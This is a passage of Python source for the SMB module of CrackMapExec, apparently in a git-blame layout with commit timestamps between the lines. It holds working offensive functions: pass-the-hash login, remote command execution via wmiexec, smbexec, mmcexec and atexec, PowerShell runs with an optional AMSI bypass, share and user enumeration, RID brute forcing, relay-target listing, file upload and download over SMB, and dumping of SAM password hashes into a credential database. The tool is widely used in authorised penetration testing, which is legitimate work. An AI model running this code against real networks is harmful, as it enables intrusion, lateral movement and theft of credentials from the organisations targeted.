self . db . add_admin_user ( ' hash ' , domain , self . username , nthash , self . host )
2016-12-15 07:28:00 +00:00
2021-10-17 15:50:29 +00:00
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
2022-02-10 21:36:07 +00:00
self . hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2018-03-01 19:36:17 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2020-05-09 13:36:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self . signing :
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2021-12-18 20:33:46 +00:00
except ( SessionError ) as e :
2016-12-15 07:28:00 +00:00
error , desc = e . getErrorString ( )
2020-06-20 17:20:27 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format ( domain ,
2021-10-17 15:50:29 +00:00
self . username ,
2022-02-10 21:36:07 +00:00
self . hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2016-12-15 07:28:00 +00:00
error ,
2020-06-20 17:20:27 +00:00
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
2016-12-15 07:28:00 +00:00
2020-06-21 19:21:07 +00:00
if error not in smb_error_status :
2021-10-17 15:50:29 +00:00
self . inc_failed_login ( self . username )
2020-06-20 22:16:37 +00:00
return False
2021-12-11 13:57:37 +00:00
except ( ConnectionResetError , NetBIOSTimeout , NetBIOSError ) as e :
self . logger . error ( ' Connection Error: {} ' . format ( e ) )
return False
2016-12-15 07:28:00 +00:00
2022-11-10 09:17:01 +00:00
def create_smbv1_conn ( self , kdc = ' ' ) :
2016-12-15 07:28:00 +00:00
try :
2022-11-10 09:17:01 +00:00
self . conn = SMBConnection ( self . host if not kdc else kdc , self . host if not kdc else kdc , None , self . args . port , preferredDialect = SMB_DIALECT , timeout = self . args . smb_timeout )
2017-05-15 04:44:49 +00:00
self . smbv1 = True
except socket . error as e :
if str ( e ) . find ( ' Connection reset by peer ' ) != - 1 :
2022-11-10 09:17:01 +00:00
logging . debug ( ' SMBv1 might be disabled on {} ' . format ( self . host if not kdc else kdc ) )
2017-05-15 04:44:49 +00:00
return False
2021-09-18 20:33:36 +00:00
except ( Exception , NetBIOSTimeout ) as e :
2022-11-10 09:17:01 +00:00
logging . debug ( ' Error creating SMBv1 connection to {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2017-05-15 04:44:49 +00:00
return False
return True
2022-11-10 09:17:01 +00:00
def create_smbv3_conn ( self , kdc = ' ' ) :
2017-05-15 04:44:49 +00:00
try :
2022-11-10 09:17:01 +00:00
self . conn = SMBConnection ( self . host if not kdc else kdc , self . host if not kdc else kdc , None , self . args . port , timeout = self . args . smb_timeout )
2017-05-15 04:44:49 +00:00
self . smbv1 = False
2022-10-13 12:20:11 +00:00
except socket . error as e :
2022-09-22 22:05:18 +00:00
if str ( e ) . find ( ' Too many open files ' ) != - 1 :
2022-11-10 09:17:01 +00:00
self . logger . error ( ' SMBv3 connection error on {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2016-12-15 07:28:00 +00:00
return False
2021-09-18 20:33:36 +00:00
except ( Exception , NetBIOSTimeout ) as e :
2022-11-10 09:17:01 +00:00
logging . debug ( ' Error creating SMBv3 connection to {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2017-04-05 15:07:00 +00:00
return False
2016-12-15 07:28:00 +00:00
return True
2022-11-10 09:17:01 +00:00
def create_conn_obj ( self , kdc = ' ' ) :
if self . create_smbv1_conn ( kdc ) :
2017-05-15 04:44:49 +00:00
return True
2022-11-10 09:17:01 +00:00
elif self . create_smbv3_conn ( kdc ) :
2017-05-15 04:44:49 +00:00
return True
return False
2016-12-15 07:28:00 +00:00
def check_if_admin ( self ) :
2022-10-24 09:26:53 +00:00
rpctransport = SMBTransport ( self . conn . getRemoteHost ( ) , 445 , r ' \ svcctl ' , smb_connection = self . conn )
dce = rpctransport . get_dce_rpc ( )
try :
dce . connect ( )
except :
pass
else :
dce . bind ( scmr . MSRPC_UUID_SCMR )
try :
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr . hROpenSCManagerW ( dce , ' {} \x00 ' . format ( self . host ) , ' ServicesActive \x00 ' , 0xF003F )
self . admin_privs = True
except scmr . DCERPCException as e :
self . admin_privs = False
pass
return
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
def gen_relay_list ( self ) :
if self . server_os . lower ( ) . find ( ' windows ' ) != - 1 and self . signing is False :
with sem :
with open ( self . args . gen_relay_list , ' a+ ' ) as relay_list :
if self . host not in relay_list . read ( ) :
relay_list . write ( self . host + ' \n ' )
2016-12-15 07:28:00 +00:00
@requires_admin
2021-09-21 12:12:42 +00:00
#@requires_smb_server
2016-12-15 07:28:00 +00:00
def execute ( self , payload = None , get_output = False , methods = None ) :
if self . args . exec_method : methods = [ self . args . exec_method ]
2022-10-27 19:40:34 +00:00
if not methods : methods = [ ' wmiexec ' , ' smbexec ' , ' mmcexec ' , ' atexec ' ]
2016-12-15 07:28:00 +00:00
if not payload and self . args . execute :
payload = self . args . execute
if not self . args . no_output : get_output = True
for method in methods :
if method == ' wmiexec ' :
try :
2020-05-04 17:22:10 +00:00
exec_method = WMIEXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . conn , self . kerberos , self . aesKey , self . kdcHost , self . hash , self . args . share )
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via wmiexec ' )
break
except :
logging . debug ( ' Error executing command via wmiexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2017-03-27 21:09:36 +00:00
elif method == ' mmcexec ' :
try :
exec_method = MMCEXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . conn , self . hash )
logging . debug ( ' Executed command via mmcexec ' )
break
except :
logging . debug ( ' Error executing command via mmcexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2016-12-15 07:28:00 +00:00
elif method == ' atexec ' :
try :
2020-05-04 17:22:10 +00:00
exec_method = TSCH_EXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . kerberos , self . aesKey , self . kdcHost , self . hash ) #self.args.share)
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via atexec ' )
break
except :
logging . debug ( ' Error executing command via atexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
elif method == ' smbexec ' :
try :
2021-09-21 12:12:42 +00:00
exec_method = SMBEXEC ( self . host , self . smb_share_name , self . conn , self . args . port , self . username , self . password , self . domain , self . kerberos , self . aesKey , self . kdcHost , self . hash , self . args . share )
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via smbexec ' )
break
except :
logging . debug ( ' Error executing command via smbexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
if hasattr ( self , ' server ' ) : self . server . track_host ( self . host )
2022-04-26 13:58:03 +00:00
output = exec_method . execute ( payload , get_output )
try :
if not isinstance ( output , str ) :
output = output . decode ( self . args . codec )
except UnicodeDecodeError :
logging . debug ( ' Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings ' )
output = output . decode ( ' cp437 ' )
output = u ' {} ' . format ( output . strip ( ) )
2016-12-15 07:28:00 +00:00
if self . args . execute or self . args . ps_execute :
self . logger . success ( ' Executed command {} ' . format ( ' via {} ' . format ( self . args . exec_method ) if self . args . exec_method else ' ' ) )
buf = StringIO ( output ) . readlines ( )
for line in buf :
self . logger . highlight ( line . strip ( ) )
return output
@requires_admin
2017-10-25 06:45:58 +00:00
def ps_execute ( self , payload = None , get_output = False , methods = None , force_ps32 = False , dont_obfs = False ) :
2016-12-15 07:28:00 +00:00
if not payload and self . args . ps_execute :
payload = self . args . ps_execute
if not self . args . no_output : get_output = True
2021-02-28 14:48:50 +00:00
amsi_bypass = self . args . amsi_bypass [ 0 ] if self . args . amsi_bypass else None
2020-04-27 20:37:01 +00:00
if os . path . isfile ( payload ) :
with open ( payload ) as commands :
for c in commands :
2021-02-28 14:48:50 +00:00
self . execute ( create_ps_command ( c , force_ps32 = force_ps32 , dont_obfs = dont_obfs , custom_amsi = amsi_bypass ) , get_output , methods )
2020-04-27 20:37:01 +00:00
else :
2021-02-28 14:48:50 +00:00
self . execute ( create_ps_command ( payload , force_ps32 = force_ps32 , dont_obfs = dont_obfs , custom_amsi = amsi_bypass ) , get_output , methods )
2020-04-27 20:37:01 +00:00
return ' '
2016-12-15 07:28:00 +00:00
def shares ( self ) :
temp_dir = ntpath . normpath ( " \\ " + gen_random_string ( ) )
2022-09-22 22:05:18 +00:00
#computer_id = self.db.get_computers(filterTerm=self.host)[0][0]
2020-12-09 22:12:58 +00:00
try :
user_id = self . db . get_user (
self . domain . split ( ' . ' ) [ 0 ] . upper ( ) ,
self . username
) [ 0 ] [ 0 ]
except :
2021-01-29 10:53:40 +00:00
pass
2016-12-15 07:28:00 +00:00
permissions = [ ]
try :
for share in self . conn . listShares ( ) :
share_name = share [ ' shi1_netname ' ] [ : - 1 ]
share_remark = share [ ' shi1_remark ' ] [ : - 1 ]
share_info = { ' name ' : share_name , ' remark ' : share_remark , ' access ' : [ ] }
read = False
write = False
try :
self . conn . listPath ( share_name , ' * ' )
read = True
share_info [ ' access ' ] . append ( ' READ ' )
except SessionError :
pass
try :
self . conn . createDirectory ( share_name , temp_dir )
self . conn . deleteDirectory ( share_name , temp_dir )
write = True
share_info [ ' access ' ] . append ( ' WRITE ' )
except SessionError :
pass
permissions . append ( share_info )
2020-11-15 23:42:28 +00:00
if share_name != " IPC$ " :
2021-04-02 17:25:06 +00:00
try :
2022-09-22 22:24:27 +00:00
self . db . add_share ( self . hostname , user_id , share_name , share_remark , read , write )
2021-04-02 17:25:06 +00:00
except :
pass
2016-12-15 07:28:00 +00:00
2017-03-30 00:03:04 +00:00
self . logger . success ( ' Enumerated shares ' )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' Share ' , ' Permissions ' , ' Remark ' ) )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' ----- ' , ' ----------- ' , ' ------ ' ) )
for share in permissions :
name = share [ ' name ' ]
remark = share [ ' remark ' ]
perms = share [ ' access ' ]
2019-11-11 10:06:39 +00:00
self . logger . highlight ( u ' {:<15} {:<15} {} ' . format ( name , ' , ' . join ( perms ) , remark ) )
2016-12-15 07:28:00 +00:00
except Exception as e :
2022-06-17 20:11:28 +00:00
error = get_error_string ( e )
2020-06-20 22:16:37 +00:00
self . logger . error ( ' Error enumerating shares: {} ' . format ( error ) ,
2022-06-17 20:11:28 +00:00
color = ' magenta ' if error in smb_error_status else ' red ' )
2016-12-15 07:28:00 +00:00
2017-04-07 04:34:30 +00:00
return permissions
2017-03-27 21:09:36 +00:00
def get_dc_ips ( self ) :
dc_ips = [ ]
2017-04-07 04:34:30 +00:00
for dc in self . db . get_domain_controllers ( domain = self . domain ) :
dc_ips . append ( dc [ 1 ] )
2017-03-27 21:09:36 +00:00
if not dc_ips :
2017-04-07 04:34:30 +00:00
dc_ips . append ( self . host )
2017-03-27 21:09:36 +00:00
return dc_ips
2016-12-15 07:28:00 +00:00
2021-01-27 10:49:23 +00:00
def sessions ( self ) :
2020-12-09 22:12:58 +00:00
try :
sessions = get_netsession ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
self . logger . success ( ' Enumerated sessions ' )
for session in sessions :
if session . sesi10_cname . find ( self . local_ip ) == - 1 :
self . logger . highlight ( ' {:<25} User: {} ' . format ( session . sesi10_cname , session . sesi10_username ) )
return sessions
except :
pass
2016-12-15 07:28:00 +00:00
def disks ( self ) :
2020-06-20 22:16:37 +00:00
disks = [ ]
try :
disks = get_localdisks ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
self . logger . success ( ' Enumerated disks ' )
for disk in disks :
self . logger . highlight ( disk . disk )
except Exception as e :
error , desc = e . getErrorString ( )
self . logger . error ( ' Error enumerating disks: {} ' . format ( error ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
2017-03-27 21:09:36 +00:00
return disks
def local_groups ( self ) :
2017-04-07 04:34:30 +00:00
groups = [ ]
2017-03-27 21:09:36 +00:00
#To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
for dc_ip in self . get_dc_ips ( ) :
try :
groups = get_netlocalgroup ( self . host , dc_ip , ' ' , self . username ,
2017-10-25 02:08:19 +00:00
self . password , self . lmhash , self . nthash , queried_groupname = self . args . local_groups ,
2017-03-27 21:09:36 +00:00
list_groups = True if not self . args . local_groups else False , recurse = False )
if self . args . local_groups :
self . logger . success ( ' Enumerated members of local group ' )
else :
self . logger . success ( ' Enumerated local groups ' )
for group in groups :
if group . name :
if not self . args . local_groups :
2017-03-30 00:03:04 +00:00
self . logger . highlight ( ' {:<40} membercount: {} ' . format ( group . name , group . membercount ) )
2017-03-27 21:09:36 +00:00
self . db . add_group ( self . hostname , group . name )
else :
domain , name = group . name . split ( ' / ' )
2017-03-30 00:03:04 +00:00
self . logger . highlight ( ' {} \\ {} ' . format ( domain . upper ( ) , name ) )
try :
group_id = self . db . get_groups ( groupName = self . args . local_groups , groupDomain = domain ) [ 0 ] [ 0 ]
except IndexError :
2017-03-27 21:09:36 +00:00
group_id = self . db . add_group ( domain , self . args . local_groups )
# yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
# (╯°□°)╯︵ ┻━┻
if not group . isgroup :
self . db . add_user ( domain , name , group_id )
elif group . isgroup :
self . db . add_group ( domain , name )
2017-04-07 04:34:30 +00:00
break
2017-03-27 21:09:36 +00:00
except Exception as e :
self . logger . error ( ' Error enumerating local groups of {} : {} ' . format ( self . host , e ) )
2016-12-15 07:28:00 +00:00
2017-04-07 04:34:30 +00:00
return groups
2017-03-27 21:09:36 +00:00
2018-02-20 12:57:23 +00:00
def domainfromdsn ( self , dsn ) :
dsnparts = dsn . split ( ' , ' )
domain = " "
for part in dsnparts :
k , v = part . split ( " = " )
if k == " DC " :
if domain == " " :
domain = v
else :
domain = domain + " . " + v
return domain
2021-06-24 18:37:54 +00:00
def domainfromdnshostname ( self , dns ) :
dnsparts = dns . split ( " . " )
domain = " . " . join ( dnsparts [ 1 : ] )
return domain , dnsparts [ 0 ] + " $ "
2017-04-07 04:34:30 +00:00
def groups ( self ) :
groups = [ ]
for dc_ip in self . get_dc_ips ( ) :
2017-03-30 00:03:04 +00:00
if self . args . groups :
2017-04-07 04:34:30 +00:00
try :
2021-06-24 18:37:54 +00:00
groups = get_netgroupmember ( dc_ip , self . domain , self . username , password = self . password ,
2017-04-07 04:34:30 +00:00
lmhash = self . lmhash , nthash = self . nthash , queried_groupname = self . args . groups , queried_sid = str ( ) ,
queried_domain = str ( ) , ads_path = str ( ) , recurse = False , use_matching_rule = False ,
full_data = False , custom_filter = str ( ) )
self . logger . success ( ' Enumerated members of domain group ' )
for group in groups :
self . logger . highlight ( ' {} \\ {} ' . format ( group . memberdomain , group . membername ) )
try :
group_id = self . db . get_groups ( groupName = self . args . groups , groupDomain = group . groupdomain ) [ 0 ] [ 0 ]
except IndexError :
group_id = self . db . add_group ( group . groupdomain , self . args . groups )
if not group . isgroup :
self . db . add_user ( group . memberdomain , group . membername , group_id )
elif group . isgroup :
self . db . add_group ( group . groupdomain , group . groupname )
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group members using dc ip {} : {} ' . format ( dc_ip , e ) )
2017-03-30 00:03:04 +00:00
else :
2017-04-07 04:34:30 +00:00
try :
2021-06-24 18:37:54 +00:00
groups = get_netgroup ( dc_ip , self . domain , self . username , password = self . password ,
2017-04-07 04:34:30 +00:00
lmhash = self . lmhash , nthash = self . nthash , queried_groupname = str ( ) , queried_sid = str ( ) ,
queried_username = str ( ) , queried_domain = str ( ) , ads_path = str ( ) ,
admin_count = False , full_data = True , custom_filter = str ( ) )
self . logger . success ( ' Enumerated domain group(s) ' )
for group in groups :
self . logger . highlight ( ' {:<40} membercount: {} ' . format ( group . samaccountname , len ( group . member ) if hasattr ( group , ' member ' ) else 0 ) )
if bool ( group . isgroup ) is True :
# Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
2018-02-20 12:57:23 +00:00
domain = self . domainfromdsn ( group . distinguishedname )
2017-04-07 04:34:30 +00:00
self . db . add_group ( domain , group . samaccountname )
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group using dc ip {} : {} ' . format ( dc_ip , e ) )
2017-03-30 00:03:04 +00:00
2017-04-07 04:34:30 +00:00
return groups
2017-03-27 21:09:36 +00:00
def users ( self ) :
2017-04-07 04:34:30 +00:00
users = [ ]
for dc_ip in self . get_dc_ips ( ) :
2017-03-27 21:09:36 +00:00
try :
2021-06-24 18:37:54 +00:00
users = get_netuser ( dc_ip , self . domain , self . username , password = self . password , lmhash = self . lmhash ,
2017-03-27 21:09:36 +00:00
nthash = self . nthash , queried_username = self . args . users , queried_domain = ' ' , ads_path = str ( ) ,
admin_count = False , spn = False , unconstrained = False , allow_delegation = False ,
custom_filter = str ( ) )
2017-03-30 00:03:04 +00:00
self . logger . success ( ' Enumerated domain user(s) ' )
2017-03-27 21:09:36 +00:00
for user in users :
2018-02-20 12:57:23 +00:00
domain = self . domainfromdsn ( user . distinguishedname )
2022-07-06 13:52:53 +00:00
self . logger . highlight ( ' {} \\ {:<30} badpwdcount: {} desc: {} ' . format ( domain , user . samaccountname , getattr ( user , ' badpwdcount ' , 0 ) , user . description [ 0 ] if hasattr ( user , ' description ' ) else ' ' ) )
2021-06-24 18:37:54 +00:00
#self.db.add_user(domain, user.samaccountname)
2017-04-07 04:34:30 +00:00
break
2017-03-27 21:09:36 +00:00
except Exception as e :
2021-06-24 18:37:54 +00:00
self . logger . error ( ' Error enumerating domain users using dc ip {} : {} ' . format ( dc_ip , e ) )
self . logger . info ( ' Trying with SAMRPC protocol ' )
users = UserSamrDump ( self ) . dump ( )
break
2017-04-07 04:34:30 +00:00
return users
2016-12-15 07:28:00 +00:00
2021-06-24 18:37:54 +00:00
def computers ( self ) :
computers = [ ]
for dc_ip in self . get_dc_ips ( ) :
try :
computers = get_netcomputer ( dc_ip , self . domain , self . username , password = self . password , lmhash = self . lmhash ,
nthash = self . nthash , queried_domain = ' ' , ads_path = str ( ) , custom_filter = str ( ) )
self . logger . success ( ' Enumerated domain computer(s) ' )
for computer in computers :
domain , computerclean = self . domainfromdnshostname ( computer . dnshostname )
self . logger . highlight ( ' {} \\ {:<30} ' . format ( domain , computerclean ) )
break
except Exception as e :
self . logger . error ( ' Error enumerating domain computers using dc ip {} : {} ' . format ( dc_ip , e ) )
break
return computers
2017-03-27 21:09:36 +00:00
def loggedon_users ( self ) :
2017-04-07 04:34:30 +00:00
loggedon = [ ]
try :
loggedon = get_netloggedon ( self . host , self . domain , self . username , self . password , lmhash = self . lmhash , nthash = self . nthash )
self . logger . success ( ' Enumerated loggedon users ' )
2022-04-27 09:04:23 +00:00
if ( self . args . loggedon_users_filter ) :
for user in loggedon :
if ( re . match ( self . args . loggedon_users_filter , user . wkui1_username ) ) :
self . logger . highlight ( ' {} \\ {:<25} {} ' . format ( user . wkui1_logon_domain , user . wkui1_username , ' logon_server: {} ' . format ( user . wkui1_logon_server ) if user . wkui1_logon_server else ' ' ) )
else :
for user in loggedon :
self . logger . highlight ( ' {} \\ {:<25} {} ' . format ( user . wkui1_logon_domain , user . wkui1_username ,
2017-04-07 04:34:30 +00:00
' logon_server: {} ' . format ( user . wkui1_logon_server ) if user . wkui1_logon_server else ' ' ) )
except Exception as e :
self . logger . error ( ' Error enumerating logged on users: {} ' . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
return loggedon
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
def pass_pol ( self ) :
2017-04-10 07:24:23 +00:00
return PassPolDump ( self ) . dump ( )
2017-04-05 15:07:00 +00:00
def wmi ( self , wmi_query = None , namespace = None ) :
records = [ ]
if not namespace :
namespace = self . args . wmi_namespace
try :
rpc = RPCRequester ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
rpc . _create_wmi_connection ( namespace = namespace )
if wmi_query :
query = rpc . _wmi_connection . ExecQuery ( wmi_query , lFlags = WBEM_FLAG_FORWARD_ONLY )
else :
query = rpc . _wmi_connection . ExecQuery ( self . args . wmi , lFlags = WBEM_FLAG_FORWARD_ONLY )
except Exception as e :
self . logger . error ( ' Error creating WMI connection: {} ' . format ( e ) )
return records
while True :
try :
wmi_results = query . Next ( 0xffffffff , 1 ) [ 0 ]
record = wmi_results . getProperties ( )
records . append ( record )
2019-11-10 23:12:35 +00:00
for k , v in record . items ( ) :
2017-04-05 15:07:00 +00:00
self . logger . highlight ( ' {} => {} ' . format ( k , v [ ' value ' ] ) )
2017-04-07 04:34:30 +00:00
self . logger . highlight ( ' ' )
2017-04-05 15:07:00 +00:00
except Exception as e :
if str ( e ) . find ( ' S_FALSE ' ) < 0 :
raise e
else :
break
return records
def spider ( self , share = None , folder = ' . ' , pattern = [ ] , regex = [ ] , exclude_dirs = [ ] , depth = None , content = False , onlyfiles = True ) :
spider = SMBSpider ( self . conn , self . logger )
self . logger . info ( ' Started spidering ' )
start_time = time ( )
if not share :
2017-10-25 02:08:19 +00:00
spider . spider ( self . args . spider , self . args . spider_folder , self . args . pattern ,
self . args . regex , self . args . exclude_dirs , self . args . depth ,
2017-04-05 15:07:00 +00:00
self . args . content , self . args . only_files )
else :
spider . spider ( share , folder , pattern , regex , exclude_dirs , depth , content , onlyfiles )
self . logger . info ( " Done spidering (Completed in {} ) " . format ( time ( ) - start_time ) )
return spider . results
def rid_brute ( self , maxRid = None ) :
entries = [ ]
if not maxRid :
2017-10-25 03:30:14 +00:00
maxRid = int ( self . args . rid_brute )
2017-04-05 15:07:00 +00:00
KNOWN_PROTOCOLS = {
135 : { ' bindstr ' : r ' ncacn_ip_tcp: %s ' , ' set_host ' : False } ,
139 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
445 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
}
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
try :
2017-05-03 00:52:16 +00:00
stringbinding = KNOWN_PROTOCOLS [ self . args . port ] [ ' bindstr ' ] . format ( self . host )
2017-04-05 15:07:00 +00:00
logging . debug ( ' StringBinding {} ' . format ( stringbinding ) )
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
2017-05-03 00:52:16 +00:00
rpctransport . set_dport ( self . args . port )
2017-04-05 15:07:00 +00:00
2017-05-03 00:52:16 +00:00
if KNOWN_PROTOCOLS [ self . args . port ] [ ' set_host ' ] :
2017-04-05 15:07:00 +00:00
rpctransport . setRemoteHost ( self . host )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
if hasattr ( rpctransport , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpctransport . set_credentials ( self . username , self . password , self . domain , self . lmhash , self . nthash )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
except Exception as e :
self . logger . error ( ' Error creating DCERPC connection: {} ' . format ( e ) )
return entries
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
self . logger . success ( ' Brute forcing RIDs ' )
dce . bind ( lsat . MSRPC_UUID_LSAT )
2019-11-11 10:06:39 +00:00
resp = lsad . hLsarOpenPolicy2 ( dce , MAXIMUM_ALLOWED | lsat . POLICY_LOOKUP_NAMES )
2017-04-05 15:07:00 +00:00
policyHandle = resp [ ' PolicyHandle ' ]
resp = lsad . hLsarQueryInformationPolicy2 ( dce , policyHandle , lsad . POLICY_INFORMATION_CLASS . PolicyAccountDomainInformation )
domainSid = resp [ ' PolicyInformation ' ] [ ' PolicyAccountDomainInfo ' ] [ ' DomainSid ' ] . formatCanonical ( )
soFar = 0
SIMULTANEOUS = 1000
2019-11-11 10:06:39 +00:00
for j in range ( maxRid / / SIMULTANEOUS + 1 ) :
if ( maxRid - soFar ) / / SIMULTANEOUS == 0 :
2017-04-05 15:07:00 +00:00
sidsToCheck = ( maxRid - soFar ) % SIMULTANEOUS
2017-10-25 02:08:19 +00:00
else :
2017-04-05 15:07:00 +00:00
sidsToCheck = SIMULTANEOUS
2017-10-25 02:08:19 +00:00
2017-04-05 15:07:00 +00:00
if sidsToCheck == 0 :
break
sids = list ( )
2019-11-11 10:06:39 +00:00
for i in range ( soFar , soFar + sidsToCheck ) :
2017-04-05 15:07:00 +00:00
sids . append ( domainSid + ' - %d ' % i )
try :
lsat . hLsarLookupSids ( dce , policyHandle , sids , lsat . LSAP_LOOKUP_LEVEL . LsapLookupWksta )
2019-11-11 10:06:39 +00:00
except DCERPCException as e :
2017-04-05 15:07:00 +00:00
if str ( e ) . find ( ' STATUS_NONE_MAPPED ' ) > = 0 :
soFar + = SIMULTANEOUS
continue
elif str ( e ) . find ( ' STATUS_SOME_NOT_MAPPED ' ) > = 0 :
resp = e . get_packet ( )
2017-10-25 02:08:19 +00:00
else :
2017-04-05 15:07:00 +00:00
raise
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
for n , item in enumerate ( resp [ ' TranslatedNames ' ] [ ' Names ' ] ) :
if item [ ' Use ' ] != SID_NAME_USE . SidTypeUnknown :
rid = soFar + n
domain = resp [ ' ReferencedDomains ' ] [ ' Domains ' ] [ item [ ' DomainIndex ' ] ] [ ' Name ' ]
user = item [ ' Name ' ]
sid_type = SID_NAME_USE . enumItems ( item [ ' Use ' ] ) . name
self . logger . highlight ( " {} : {} \\ {} ( {} ) " . format ( rid , domain , user , sid_type ) )
entries . append ( { ' rid ' : rid , ' domain ' : domain , ' username ' : user , ' sidtype ' : sid_type } )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
soFar + = SIMULTANEOUS
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
dce . disconnect ( )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
return entries
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
def put_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . put_file [ 0 ] , self . args . put_file [ 1 ] ) )
with open ( self . args . put_file [ 0 ] , ' rb ' ) as file :
try :
self . conn . putFile ( self . args . share , self . args . put_file [ 1 ] , file . read )
2022-11-01 12:10:55 +00:00
self . logger . success ( ' Created file {} on \\ \\ {} \\ {} ' . format ( self . args . put_file [ 0 ] , self . args . share , self . args . put_file [ 1 ] ) )
2020-04-28 16:22:30 +00:00
except Exception as e :
self . logger . error ( ' Error writing file to share {} : {} ' . format ( self . args . share , e ) )
def get_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
with open ( self . args . get_file [ 1 ] , ' wb+ ' ) as file :
try :
self . conn . getFile ( self . args . share , self . args . get_file [ 0 ] , file . write )
self . logger . success ( ' File {} was transferred to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
except Exception as e :
self . logger . error ( ' Error reading file {} : {} ' . format ( self . args . share , e ) )
2016-12-15 07:28:00 +00:00
def enable_remoteops ( self ) :
if self . remote_ops is not None and self . bootkey is not None :
return
try :
2022-01-19 18:13:05 +00:00
self . remote_ops = RemoteOperations ( self . conn , self . kerberos , self . kdcHost )
2016-12-15 07:28:00 +00:00
self . remote_ops . enableRegistry ( )
self . bootkey = self . remote_ops . getBootKey ( )
except Exception as e :
self . logger . error ( ' RemoteOperations failed: {} ' . format ( e ) )
@requires_admin
def sam ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
host_id = self . db . get_computers ( filterTerm = self . host ) [ 0 ] [ 0 ]
def add_sam_hash ( sam_hash , host_id ) :
add_sam_hash . sam_hashes + = 1
self . logger . highlight ( sam_hash )
username , _ , lmhash , nthash , _ , _ , _ = sam_hash . split ( ' : ' )
self . db . add_credential ( ' hash ' , self . hostname , username , ' : ' . join ( ( lmhash , nthash ) ) , pillaged_from = host_id )
add_sam_hash . sam_hashes = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2017-03-27 21:09:36 +00:00
#try:
SAMFileName = self . remote_ops . saveSAM ( )
SAM = SAMHashes ( SAMFileName , self . bootkey , isRemote = True , perSecretCallback = lambda secret : add_sam_hash ( secret , host_id ) )
self . logger . success ( ' Dumping SAM hashes ' )
SAM . dump ( )
SAM . export ( self . output_filename )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Added {} SAM hashes to the database ' . format ( highlight ( add_sam_hash . sam_hashes ) ) )
#except Exception as e:
#self.logger.error('SAM hashes extraction failed: {}'.format(e))
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
